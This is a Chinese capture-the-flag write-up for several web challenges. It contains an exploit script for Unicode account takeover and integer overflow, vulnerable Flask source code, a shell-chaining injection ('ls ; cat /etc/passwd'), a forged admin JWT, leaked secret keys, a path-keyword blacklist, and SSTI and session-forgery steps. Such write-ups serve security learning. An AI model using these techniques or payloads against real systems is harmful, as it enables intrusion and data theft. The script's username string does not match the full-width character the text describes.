神秘商店
打开题目只有一个登录框。
尝试登录 admin，发现可以利用全角字符注册登录。后端代码存在转换逻辑，全角字符能够绕过后端对 admin 的检测，将全角 admin 识别为正常 admin，造成覆盖注册并修改密码。
注册 admin（其中 n 为全角）：
利用整数溢出（从 4294967246 到 50），购买 flag。可以直接编写脚本自动化攻击。
import requests
def exploit():
url = "http://challenge2.pctf.top:32735"
session = requests.Session()
print("[+] 注册管理员账户...")
users = {
"username": "admi\u00efn",
"password": "123456"
}
response = session.post(f"{url}/register", data=users)
print(f"[+] 注册响应：{response.status_code}")
print("[+] 登录...")
users = {
"username": "admi\u00efn",
"password": "123456"
}
response = session.post(f"{url}/login", data=users)
print(f"[+] 登录响应：{response.status_code}")
response = session.get(f"{url}/user")
print(f"[+] 用户信息:{response.text}")
print("[+] 触发 rust 整数溢出...")
amount = {"amount": 4294967246}
response = session.post(f"{url}/add_balance", data=amount)
print(f"[+] 增加余额：{response.text}")
print("[+] 购买 Flag...")
product = {"product_id": 4}
response = session.post(f"{url}/buy_product", json=product)
print(f"[+] 购买结果：{response.text}")
if __name__ == '__main__':
exploit()
We_will_rockyou
下载源码进行分析。
from flask import Flask, redirect, url_for, render_template, request
import jwt
import uuid
import os
import subprocess
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.config['SECRET_KEY'] = str(uuid.uuid4())
accounts = {}
def create_token(user_id, username):
payload = {
'user_id': user_id,
'username': username
}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
user_id = payload['user_id']
username = payload['username']
return user_id, username
except:
return None
def login_required(f):
from functools import wraps
@wraps(f)
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token:
return redirect(url_for('login'))
res = verify_token(token)
if not res:
return redirect(url_for('login'))
user_id, username = res
return f(user_id, username, *args, **kwargs)
return decorated
def check_login(u, p):
for user_id, info in accounts.items():
if info['username'] == u:
return check_password_hash(info['password'], p), user_id
return False, None
@app.route('/')
def index():
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
error_msg = None
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
ok, user_id = check_login(username, password)
if ok:
token = create_token(user_id, username)
response = redirect(url_for('dashboard'))
response.set_cookie('token', token, httponly=True)
return response
else:
error_msg = "Username or Password incorrect!"
return render_template('login.html', error_msg=error_msg)
@app.route('/logout')
def logout():
response = redirect(url_for('login'))
response.delete_cookie('token')
return response
@app.route('/dashboard')
@login_required
def dashboard(user_id, username):
return render_template('dashboard.html', user_id=user_id, username=username)
SAFE_COMMANDS = ['ls', 'pwd', 'whoami', 'dir', 'more']
@app.route('/dashboard/run', methods=['POST'])
@login_required
def run_command(user_id, username):
user_id, username = verify_token(request.cookies.get('token'))
cmd = request.form.get('command', '').strip()
if not cmd or cmd.split()[0] not in SAFE_COMMANDS:
return render_template('dashboard.html', user_id=user_id, username=username, error_msg="Error: Command not allowed or empty")
try:
result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=5)
output = result.stdout + result.stderr
return render_template('dashboard.html', user_id=user_id, username=username, output=output, command=cmd)
except Exception as e:
return render_template('dashboard.html', username=username, error_msg=f"Error: {str(e)}")
if __name__ == '__main__':
admin_id = 0
admin_username = 'admin123'
admin_password = str(uuid.uuid4())
# password overlay for path
for path in ['/password', './password.txt']:
try:
if os.path.exists(path) and os.path.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if not raw:
continue
text = raw.decode('utf-8', errors='replace').strip()
candidates = [line.strip() for line in text.splitlines() if line.strip()]
if candidates:
import secrets
admin_password = secrets.choice(candidates)
break
except:
pass
print(f' * Admin password: {admin_password}')
accounts[admin_id] = {
'username': admin_username,
'password': generate_password_hash(admin_password)
}
app.run(debug=False, host='0.0.0.0')
分析：
基础配置中 SECRET_KEY 每次重启随机生成，导致旧 Token 失效。用户信息存储在内存字典中，重启清空。
认证逻辑使用 JWT (HS256)，但密钥无法持久化。
命令执行逻辑检查 shell=True，白名单仅判断第一个单词。可利用 shell 拼接符绕过，例如输入 ls ; cat /etc/passwd。
启动逻辑中，admin 用户名固定为 admin123。密码初始随机生成，但会尝试从 /password 或 ./password.txt 读取并覆盖。若能控制这两个文件之一，即可预设管理员密码。
题目提示 Try rockyou.txt!，使用 rockyou 字典爆破密码，用户名为 admin123。
barbie
执行 ls / 查看目录结构。
查看方法有多种，过滤的 WAF 也无法完全阻止。 涉及信息收集、密码爆破及命令执行。
Jwt_password_manager
from flask import Flask, request, redirect, url_for, render_template
import jwt
import uuid
import os
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'
accounts_usernames = []
accounts = {}
user_passwords = {}
def check_username(new_username):
if new_username in accounts_usernames:
return True
return False
def check_login(username, password):
if username not in accounts:
return False
return check_password_hash(accounts[username], password)
def insert_account(new_username, new_password_hash):
try:
accounts_usernames.append(new_username)
accounts[new_username] = new_password_hash
user_passwords[new_username] = []
return True
except:
return False
def create_token(username):
payload = {'username': username,}
token = jwt.encode(payload, app.config['SECRET_KEY'], algorithm='HS256')
if isinstance(token, bytes):
token = token.decode('utf-8')
return token
def verify_token(token):
try:
payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256'])
return payload['username']
except:
return None
def login_required(f):
def decorated(*args, **kwargs):
token = request.cookies.get('token')
if not token or not verify_token(token):
return redirect(url_for('login'))
return f(*args, **kwargs)
decorated.__name__ = f.__name__
return decorated
def add_password_item(username, website, site_username, password, notes=''):
try:
password_item = {
'id': str(uuid.uuid4()),
'website': website,
'username': site_username,
'password': password,
'notes': notes,
}
user_passwords[username].append(password_item)
return True
except:
return False
def delete_password_item(username, item_id):
try:
user_passwords[username] = [item for item in user_passwords[username] if item['id'] != item_id]
return True
except:
return False
def get_user_passwords(username):
return user_passwords.get(username, [])
@app.route('/')
def index():
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user_exists = check_username(username)
if user_exists:
return render_template('register.html', error_msg="User Already Existed!")
password_hash = generate_password_hash(password)
insert_account(username, password_hash)
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user_exists = check_username(username)
if user_exists == False:
return render_template('login.html', error_msg='Username or Password Wrong!')
if check_login(username, password):
token = create_token(username)
response = redirect(url_for('dashboard'))
response.set_cookie('token', token, httponly=True)
return response
else:
return render_template('login.html', error_msg='Username or Password Wrong!')
return render_template('login.html')
@app.route('/logout')
def logout():
response = redirect(url_for('login'))
response.delete_cookie('token')
return response
@app.route('/dashboard')
@login_required
def dashboard():
username = verify_token(request.cookies.get('token'))
passwords = get_user_passwords(username)
return render_template('dashboard.html', username=username, passwords=passwords)
@app.route('/add_password', methods=['POST'])
@login_required
def add_password():
username = verify_token(request.cookies.get('token'))
website = request.form['website']
site_username = request.form['site_username']
password = request.form['password']
notes = request.form.get('notes', '')
if add_password_item(username, website, site_username, password, notes):
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Add password error")
@app.route('/delete_password/<item_id>')
@login_required
def delete_password(item_id):
username = verify_token(request.cookies.get('token'))
if delete_password_item(username, item_id):
return redirect(url_for('dashboard'))
else:
return render_template('dashboard.html', username=username, passwords=get_user_passwords(username), error_msg="Delete password error")
if __name__ == '__main__':
admin_password = str(uuid.uuid4())
insert_account('admin', generate_password_hash(admin_password))
for path in ['/flag', './flag.txt']:
try:
if os.path.exists(path) and os.path.isfile(path):
with open(path, 'rb') as f:
raw = f.read()
if raw:
content = raw.decode('utf-8', errors='replace').strip()
add_password_item('admin', website='seeded-flag', site_username='flag-file', password=content, notes=f'seeded from {path}')
break
except:
pass
app.run(debug=False, host='0.0.0.0')
审计代码发现泄露的 JWT 密钥：app.config['SECRET_KEY'] = '0f3cbb44-f199-4d34-ade9-1545c0972648'。
查看逻辑发现，程序读取了 flag，并将 flag 作为一条密码存入 admin 账号中。
首先注册一个账号拿到普通 Token，然后在 jwt.io 解密 JWT，修改成 admin 后伪造签名得到新 Token。
伪造后的 admin Token 示例：
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImIzMGEwYzNhLTI5Y2YtNGQ0ZS04ZDJiLTcxZGIxOWJlYjc2MiIsInVzZXJuYW1lIjoiYWRtaW4ifQ.PMpPt65DM7rU-z3gljV1f8z5h_DIXSmoDQnMu2vKgQo
登录后保存密码获取 flag。
ez_upload
打开页面上传任何文件都无法查看，尝试直接读取 /etc/passwd 被过滤。查看源码。
import os
import uuid
from flask import Flask, request, render_template_string, redirect, url_for, send_from_directory, flash, jsonify
from werkzeug.exceptions import RequestEntityTooLarge
app = Flask(__name__)
app.secret_key = 'your_secret_key_here'
UPLOAD_FOLDER = 'uploads'
MAX_FILE_SIZE = 16 * 1024 * 1024
ALLOWED_EXTENSIONS = {'txt', 'pdf', 'png', 'jpg', 'jpeg', 'gif', 'doc', 'docx', 'zip', 'html'}
BLACKLIST_KEYWORDS = [
'env', '.env', 'environment', 'profile', 'bashrc', 'proc', 'sys', 'etc', 'passwd', 'shadow', 'flag'
]
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE
if not os.path.exists(UPLOAD_FOLDER):
os.makedirs(UPLOAD_FOLDER)
def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/')
def index():
try:
with open('templates/index.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_template_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>模板文件未找到</p><a href="/upload">上传文件</a>'
except Exception as e:
try:
with open('templates/error_render.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e))
except:
return '<h1>渲染错误</h1><p>' + str(e) + '</p><a href="/upload">上传文件</a>'
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('没有选择文件')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
flash('没有选择文件')
return redirect(request.url)
if file and allowed_file(file.filename):
filename = file.filename
filename = filename.replace('../', '')
file_path = os.path.join(UPLOAD_FOLDER, filename)
try:
file.save(file_path)
flash('文件 {} 上传成功！'.format(filename))
return redirect('/upload')
except Exception as e:
flash('文件上传失败：{}'.format(str(e)))
return redirect(request.url)
else:
flash('不允许的文件类型')
return redirect(request.url)
try:
with open('templates/upload.html', 'r', encoding='utf-8') as f:
template_content = f.read()
return render_template_string(template_content)
except FileNotFoundError:
try:
with open('templates/error_upload_not_found.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>错误</h1><p>上传页面模板未找到</p><a href="/">返回主页</a>'
@app.route('/file')
def view_file():
file_path = request.args.get('file', '')
if not file_path:
try:
with open('templates/file_no_param.html', 'r', encoding='utf-8') as f:
return f.read()
except:
return '<h1>文件查看</h1><p>请使用 ?file= 参数指定要查看的文件</p><a href="/">返回主页</a>'
file_path_lower = file_path.lower()
for keyword in BLACKLIST_KEYWORDS:
if keyword in file_path_lower:
try:
with open('templates/file_error.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, error_message='访问被拒绝：文件路径包含敏感关键词 [{}]'.format(keyword))
except:
return '<h1>访问被拒绝</h1><p>文件路径包含敏感关键词</p><a href="/">返回主页</a>'
try:
with open(file_path, 'r', encoding='utf-8') as f:
file_content = f.read()
try:
with open('templates/file_view.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, file_content=file_content)
except:
return '<h1>文件内容</h1><pre>{}</pre><a href="/">返回主页</a>'.format(file_content)
except Exception as e:
try:
with open('templates/file_error.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, file_path=file_path, error_message=str(e))
except:
return '<h1>文件读取失败</h1><p>错误：{}<p><a href="/">返回主页</a>'.format(str(e))
@app.errorhandler(RequestEntityTooLarge)
def too_large(e):
try:
with open('templates/error_too_large.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, max_size=MAX_FILE_SIZE // (1024*1024)), 413
except:
return '<h1>文件过大</h1><p>文件大小不能超过 {} MB</p>'.format(MAX_FILE_SIZE // (1024*1024)), 413
@app.errorhandler(404)
def not_found(e):
try:
with open('templates/error_404.html', 'r', encoding='utf-8') as f:
return f.read(), 404
except:
return '<h1>404</h1><p>页面不存在</p>', 404
@app.errorhandler(500)
def server_error(e):
try:
with open('templates/error_500.html', 'r', encoding='utf-8') as f:
template = f.read()
return render_template_string(template, error_message=str(e)), 500
except:
return '<h1>500</h1><p>服务器内部错误：{}<p>'.format(str(e)), 500
if __name__ == '__main__':
print("启动 Flask 文件上传应用...")
print("上传目录：{}".format(UPLOAD_FOLDER))
print("最大文件大小：{} MB".format(MAX_FILE_SIZE // (1024*1024)))
print("允许的文件类型：{}".format(ALLOWED_EXTENSIONS))
app.run(debug=False, host='0.0.0.0', port=5000)
分析：
view_file 函数通过 URL 参数获取文件路径，虽然有黑名单防御，但存在 SSTI 漏洞风险。
render_template_string 渲染了用户上传的文件内容。如果用户上传包含 {{ 7*7 }} 的文件并在该处查看，Flask 会执行其中的模板代码。
可通过覆盖 index.html 实现 SSTI 绕过上传限制。
成功读取。
涉及 SSTI 与信息收集。
Do_you_know_session?
在搜索框中发现 SSTI 漏洞，URL 为 /search?context=。
虽然有 WAF，但可以看到 config，secretkey 就存在这里，可直接获取。
Secret Key: 1919810#mistyovo@foxdog@lzz0403#114514
拥有 Session，使用 flask-session-cookie-manager 进行伪造。
读取 environ 得到 flag。
涉及 Session 伪造。